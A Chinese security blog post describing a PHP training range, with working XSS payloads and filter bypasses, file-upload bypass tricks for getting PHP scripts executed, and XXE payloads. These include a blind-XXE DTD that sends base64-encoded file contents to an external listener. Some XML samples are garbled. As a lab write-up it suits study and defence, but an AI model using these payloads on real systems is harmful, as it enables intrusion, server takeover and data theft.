从某开源PHP靶场综合学习常见漏洞。
前言
沉下心去努力,总有意外的收获。
XSS
反射型XSS
没有任何过滤直接回显。
?xss=<s cript>a lert(1)</s cript>
输出在s cript中
这种直接输出在s cript标签中可以说是任意js执行了。
输出在a lert()
中,传入括号进行闭合再进行注释即可。
?xss=123');a lert('xss')//
输出在s cript中_2
过滤了尖括号和斜杠,不能用注释,可以用闭合,而且本身就输出在s cript标签中,限制不大。
?xss=');a lert(document.cookie);console.log('
输出在html属性中
输出在img标签的src属性中,那么可以用o nerror事件触发,也可以利用闭合构造一对s cript标签。
?xss=xss" o nerror="a lert('1');
?xss=xss"><s cript>a lert('xss');</s cript>
条件还是比较宽松,自由发挥。
输出在注释中
源码中也提示了换行符。//
是单行注释,所以换行就不生效了。
?xss=123%0aa lert('xss');
J avas cript被过滤
输出到了a标签的href属性。
首先一眼看去就是可以大小写绕过
?xss=J avas cript:a lert(document.cookie);
还可以利用实体编码绕过
?xss=j%26%2397;vas cript:a lert(%26%2339;xss%26%2339;);
需要点击才能触发,不是0click不完美。
等号问题
也是输出在img的src中。
用上面的payload打不行
?xss=xss" o nerror="a lert('1');
看一下源码
有一个正则匹配,等号两边随意加个空格就饶过去了。
?xss=xss" o nerror ="a lert('1');
o nerror输出故障
这个正则针对性的过滤了,但又没完全过滤。
上面的payload也能打,也不知道是不是非预期了。
DOM型XSS1
这个是通过js的dom操作改变了标签内容。实质上还是输出在了s cript中,同样利用闭合和注释就能执行任意js代码了。
?xss=";a lert(document.cookie);//
DOM型XSS2
查看js代码
<div class="card">
PHP代码如下:
<s cript>
var hash = unescape(location.hash);
document.getElementById('code').innerHTML="PHP代码如下:"+hash;
document.getElementById('code').title=hash
</s cript>
</div>
可控的就是location.hash
取值就是url中#
和后面的串。
unescape
可以解码escape
编码的结果。
好像就是url编码,影响不大。
因为可以将我们的输出插入到code标签中,考虑插入一个img标签然后用o nerror触发js。
xss_nine#<img src=xss o nerror="a lert(1)">
DOM型XSS3
查看源代码
<div class="card">
<?
echo ‘xxxxxx’ ?>
<s cript>
var url = unescape(location.href);
var allargs = url.split(“?”)[1];
if (allargs != null && allargs.indexOf(‘&’) > 0) {
var arg = allargs.split(‘&’);
for (var i = 0; i < arg.length; i++) {
var argx = arg[i].split(‘=’)[1];
e val(‘var a=”‘ + argx + ‘“;’);
}
}
</s cript>
</div>
不难看出,会将url每个参数中的值拼接到var a="$param_value";
执行。
尝试闭合进行代码注入
?asd="a lert(document.cookie);&
发现"
被unescape
转义掉了。
将其进行url编码。
?asd=%22;a lert(document.cookie);//&
DOM型XSS4
查看源代码
<div class="card">
<i f rame src='http://www.f4ckweb.top/' id='if'></i f rame>
<s cript>
function test(test) {
if (test.indexOf('J avas cript:')) {
return ''
} else {
return unescape(test)
}
}
var ifx = document.getElementById('if');
if (location.href.indexOf('?') > 0) {
ifx.src = test(location.href.split('?')[1].split('=')[1])
}
</s cript>
</div>
同样的通过第一个get的参数控制i f rame标签的src属性。
注意到test过滤函数。
检测了J avas cript:
伪协议,但是这个写法存在问题。
传入?xss=J avas cript:a lert(document.cookie)
依然执行。
因为indexOf
返回的是第一个字符下标,而我们的payload中J avas cript:
位于开头,返回0
,从而绕过了该分支。
文件上传
任意文件上传漏洞
文件上传的本意是给用户提供一个上传文件到服务器的服务,但是如果不对上传的文件进行检查,就会被攻击者利用,往服务器中上传恶意脚本文件,从而获得服务器控制权。
文件上传是常见的功能,网站各处的功能都有可能出现上传点。最常见的就是头像上传、LOGO上传。
首先来学习一下,PHP网站文件上传的流程。
我们通过表单提交进行文件上传时并不是直接传到站点目录的。
PHP会从表单中拿到文件,并存到一个临时的位置。
然后会通过move_uploaded_file(string $filename, string $destination)
方法将临时文件移动到开发者指定的位置。
所以在审计PHP源码时,可以通过全局搜索move_uploaded_file
来定位上传点,再进行回溯分析是否过滤严格。
实战
来到题目,这一题是没有任何过滤的上传,主要是熟悉文件上传的流程。
选择一张图片进行上传,然后抓包。这一操作可以绕过前端js的检查。
这就是表单数据,我们对文件名和内容进行修改。
然后发包。
可以看到文件首先会被上传到一个临时的地方。
然后题目并没有上传成功,这是因为页面表单的文件参数名字是upload_file
,而后端代码取的是参数为file
的文件。
也不知道是不是靶场开发者故意的。
那么我们重新修改一下表单再次发包,同时需要在站点根目录新建一个uploads
文件夹,否则也会上传失败。
可以看到上传成功,拿到了文件路径。
成功解析。
基于黑名单的文件上传
黑名单过滤是禁止上传规定后缀的文件。
绕过思路有几种:
- 寻找没有被禁用的后缀:
pht, phpt, phtml, php3, php4, php5, php::$DATA
等。 - 大小写绕过:
Php, PhP
等 - 解析问题:
中间件解析漏洞, 上传.htaccess
等。 - 文件包含:
上传.user.ini, 配合文件包含
实战
来到题目
大小写绕过
很明显的,我们可以通过大小写绕过。
其它后缀绕过
也可以上传没有被禁用的后缀。
(nginx).user.ini文件包含
还可以配合文件解析,先上传123.txt。
因为使用的是nginx所以上传.user.ini
auto_prepend_file=123.txt
这样只要我们访问.user.ini
同目录下的php文件都会包含123.txt
的代码。
新建一个空的php文件。
然后访问
可以看到被成功解析了。
(apache).htaccess
apache环境下可以利用.htaccess配置文件
文件包含
php_value auto_prepend_file 文件绝对路径(默认为当前上传的目录)
文件解析
AddType application/x-httpd-php .xxx
<FilesMatch "shell.txt">
SetHandler application/x-httpd-php
</FilesMatch>
第一个是文件包含,和.user.ini
大同小异就不演示了。
演示一下文件解析。首先上传.htaccess
,这个xxx
是自己定的后缀。
上传成功后,只要是xxx
后缀的文件被访问,都会被php
解析。
接着再上传一个1.xxx
然后访问1.xxx
即可。
由于笔者使用phpstudy带的php是NTS(Non Thread Safe)版,不支持这种方式,所以就不能继续演示了。
而另一个就是TS版本,搭配apache都推荐使用TS版本。
基于白名单的文件上传
白名单只允许指定后缀的文件上传,相对黑名单来说安全性高很多很多。
常见的绕过就是经典的00截断和服务器中间件的解析漏洞。
- 00截断需要PHP版本<5.3.4
- 解析漏洞比较新的就是IIS7.5解析漏洞
两种绕过的利用条件都很苛刻,实际场景出现比较少。
实战
回到题目
抓包上传时构造1.php\x00.jpg
文件名,在move_uploaded_file
时就会将后面的.jpg截断。
因为环境问题就不能演示上传后的效果了。
基于type检测的文件上传
所谓type检测就是检查文件的MIME类型,就是请求包中的Content-Type
字段
该字段是可以修改的,常见的就是这几个:
- image/gif :gif图片格式
- image/jpeg :jpg图片格式
- image/png :png图片格式
一般服务器都是允许上传图片的,所以常常都是用这几个绕过。
实战
回到题目
可以看到后端检查了文件的MIME类型。
我们直接抓包修改
发包
上传成功。(请无视我写错的代码~
基于内容检测的文件上传
内容检测一般都是读取上传文件的头几个文件标记字节进行检测。
所以我们只需要在php代码前面加上这几个符合要求的标记字节就可以了。
常用的就是GIF头文件标记:GIF89a
实战
我们抓包,然后在代码前加上GIF89a
发包后调试,可以看到走入了gif的分支。
稳稳的上传成功。
XXE
XXE(XML External Entity Injection)即:XML外部实体注入
直接搬运某文库的资料:
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害
**注意:**执行系统命令(安装expect扩展的PHP环境里才有)
XML基础
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型.
是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义、文档元素。
<?XML version="1.0" ?><!--XML声明-->
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]><!--DTD文档类型定义-->
<user>
<name>SNCKER</name>
<sex>woman</sex>
<age>3</age>
</user><!--文档元素-->
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
PCDATA 指的是被解析的字符数据(Parsed Character Data)
XML解析器通常会解析XML文档中所有的文本
<message>此文本会被解析</message>
当某个XML元素被解析时,其标签之间的文本也会被解析:
<name><first>Bill</first><last>Gates</last></name>
<!--内部声明DTD-->
<!--引用外部DTD-->
<!--或者-->
<!–DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。–>
<!–内部声明实体–>
<!ENTITY 实体名称 “实体的值”>
<!–引用外部实体–>
<!ENTITY 实体名称 SYSTEM “URI”>
<!–或者–>
<!ENTITY 实体名称 PUBLIC “public_ID” “URI”>
恶意引入外部实体的三种方法
本地引入
XML内容:
<?XML version="1.0" ?> <!--XML声明-->
]><!--DTD文档类型定义-->
<root>&file;</root><!--文档元素-->
一个实体由三部分构成:一个与号 &
,一个实体名称,,以及一个分号;
远程引入1
XML内容:
<?XML version="1.0" ?>
%d;
]>
<root>&file;</root>
DTD文件(evil.dtd)内容:
<!ENTITY file SYSTEM "file:///etc/passwd">
远程引入2
<?XML version="1.0" ?>
<root>&file;</root>
DTD文件(evil.dtd)内容:
<!ENTITY file SYSTEM "file:///etc/passwd">
回显型XXE
首先一点是xxe只跟libXML版本有关系,2.9.0以后默认禁止了引入外部实体,所以需要切换一个低版本的libXML。
回到题目
根据题目知道程序会解析name
标签的内容并且回显出来。
先抓POST包,然后把Content-Type
改为text/XML
写一段正常的XML测试。
<root><name>123</name></root>
本地引入
我们利用外部实体引入来读取文件。
<?XML version="1.0"?>
]>
<root>
<name>&file;</name>
</root>
读取成功。
如果单纯的读取明文,当文件出现<>
这种特殊字符就影响解析。
那么可以利用php伪协议强大的过滤器对读取结果进行b ase64编码。
<?XML version="1.0"?>
]>
<root>
<name>&file;</name>
</root>
<!ENTITY file SYSTEM "file:///D:/flag.txt">
一般是放在服务器上给目标主机访问,因为是自己的靶场所以我这里放在站点根目录。
然后构造数据包:
<?XML version="1.0" ?>
%d;
]>
<root>
<name>&file;</name>
</root>
发包
读取成功。
另外的一种远程引入``方法一直复现不出来。
经过搜寻资料,XML引入外部DTD会用SYSTEM/PUBLIC
两个关键词,其中SYSTEM
用于引用本地的,而PUBLIC
则用于引用网络上的。
那按道理应该使用PUBLIC
引入远程的DTD。
但是依旧复现不出来。可能是环境的问题,也可能是网上资料的问题。
也不需要纠结,毕竟另外一种方法是可行的。
盲型XXE
盲型XXE(Blind XXE),也就是页面上不展示XML数据的解析结果。
从源码可以看到并没有将解析后的结果渲染出来。
因为XML解析是可以请求外部的DTD,所以可以通过请求把数据外带出来。
首先远程引入的payload不变:
<?XML version="1.0" ?>
%d;
]>
<root>
<name>&file;</name>
</root>
然后修改我们的DTD:
<!ENTITY % file SYSTEM "php://filter/convert.b ase64-encode/resource=D:/flag.txt">
<!ENTITY % remote "<!ENTITY % send SYSTEM 'http://cp4brx.ceye.io/?data=%file;'>">
%remote;
%send;
%
是对参数实体的声明,声明后就可以在后续引用参数实体。
说说个人理解,首先将文件读取的内容赋给file
,然后remote
是一个定义参数实体的字符串,其中%
需要用实体编码%#37;
替代避免影响语义,后面使用%file;
引用file
的内容拼接出完整的请求url,接着引用%remote;
,这样就是定义了send
,然后再引用%send;
,就会向监听服务器发起请求。
发包后就可以从请求中看到外带的数据了。
后记
本篇已经是终篇了,整个靶场的学习到此也就完结了。虽然是基础的靶场,但是收获还是挺多的。当我静下心去研究时,才发现原来有很多细节其实我从来都没弄懂过。所以如果能去掉浮躁的心,不再蜻蜓点水一般,而是认真深入的学习,也许会有很意外的收获。
- 本文作者: SNCKER
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/403
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!